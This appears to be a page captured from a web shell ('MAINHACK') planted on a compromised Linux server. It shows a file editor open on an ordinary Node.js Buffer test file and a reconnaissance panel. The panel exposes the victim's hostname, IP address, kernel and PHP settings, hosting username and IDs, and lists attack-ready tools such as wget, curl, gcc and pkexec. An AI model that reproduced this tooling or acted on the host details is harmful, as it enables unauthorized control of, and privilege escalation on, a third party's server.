[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: test-buffer-arraybuffer.js
'use strict'; var Buffer = require('../../').Buffer; var assert = require('assert'); var Buffer = require('../../').Buffer; var LENGTH = 16; var ab = new ArrayBuffer(LENGTH); var dv = new DataView(ab); var ui = new Uint8Array(ab); var buf = Buffer.from(ab); assert.ok(buf instanceof Buffer); // For backwards compatibility of old .parent property test that if buf is not // a slice then .parent should be undefined. assert.equal(buf.parent, undefined); assert.equal(buf.buffer, ab); assert.equal(buf.length, ab.byteLength); buf.fill(0xC); for (var i = 0; i < LENGTH; i++) { assert.equal(ui[i], 0xC); ui[i] = 0xF; assert.equal(buf[i], 0xF); } buf.writeUInt32LE(0xF00, 0); buf.writeUInt32BE(0xB47, 4); buf.writeDoubleLE(3.1415, 8); assert.equal(dv.getUint32(0, true), 0xF00); assert.equal(dv.getUint32(4), 0xB47); assert.equal(dv.getFloat64(8, true), 3.1415); // Now test protecting users from doing stupid things assert.throws(function() { function AB() { } Object.setPrototypeOf(AB, ArrayBuffer); Object.setPrototypeOf(AB.prototype, ArrayBuffer.prototype); Buffer.from(new AB()); }, TypeError); // write{Double,Float}{LE,BE} with noAssert should not crash, cf. #3766 var b = Buffer.allocUnsafe(1); b.writeFloatLE(11.11, 0, true); b.writeFloatBE(11.11, 0, true); b.writeDoubleLE(11.11, 0, true); b.writeDoubleBE(11.11, 0, true); // Test the byteOffset and length arguments { var ab = new Uint8Array(5); ab[0] = 1; ab[1] = 2; ab[2] = 3; ab[3] = 4; ab[4] = 5; var buf = Buffer.from(ab.buffer, 1, 3); assert.equal(buf.length, 3); assert.equal(buf[0], 2); assert.equal(buf[1], 3); assert.equal(buf[2], 4); buf[0] = 9; assert.equal(ab[1], 9); assert.throws(() => Buffer.from(ab.buffer, 6), (err) => { assert(err instanceof RangeError); assert(/'offset' is out of bounds/.test(err.message)); return true; }); assert.throws(() => Buffer.from(ab.buffer, 3, 6), (err) => { assert(err instanceof RangeError); assert(/'length' is out of bounds/.test(err.message)); return true; }); } // Test the deprecated Buffer() version also { var ab = new Uint8Array(5); ab[0] = 1; ab[1] = 2; ab[2] = 3; ab[3] = 4; ab[4] = 5; var buf = Buffer(ab.buffer, 1, 3); assert.equal(buf.length, 3); assert.equal(buf[0], 2); assert.equal(buf[1], 3); assert.equal(buf[2], 4); buf[0] = 9; assert.equal(ab[1], 9); assert.throws(() => Buffer(ab.buffer, 6), (err) => { assert(err instanceof RangeError); assert(/'offset' is out of bounds/.test(err.message)); return true; }); assert.throws(() => Buffer(ab.buffer, 3, 6), (err) => { assert(err instanceof RangeError); assert(/'length' is out of bounds/.test(err.message)); return true; }); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002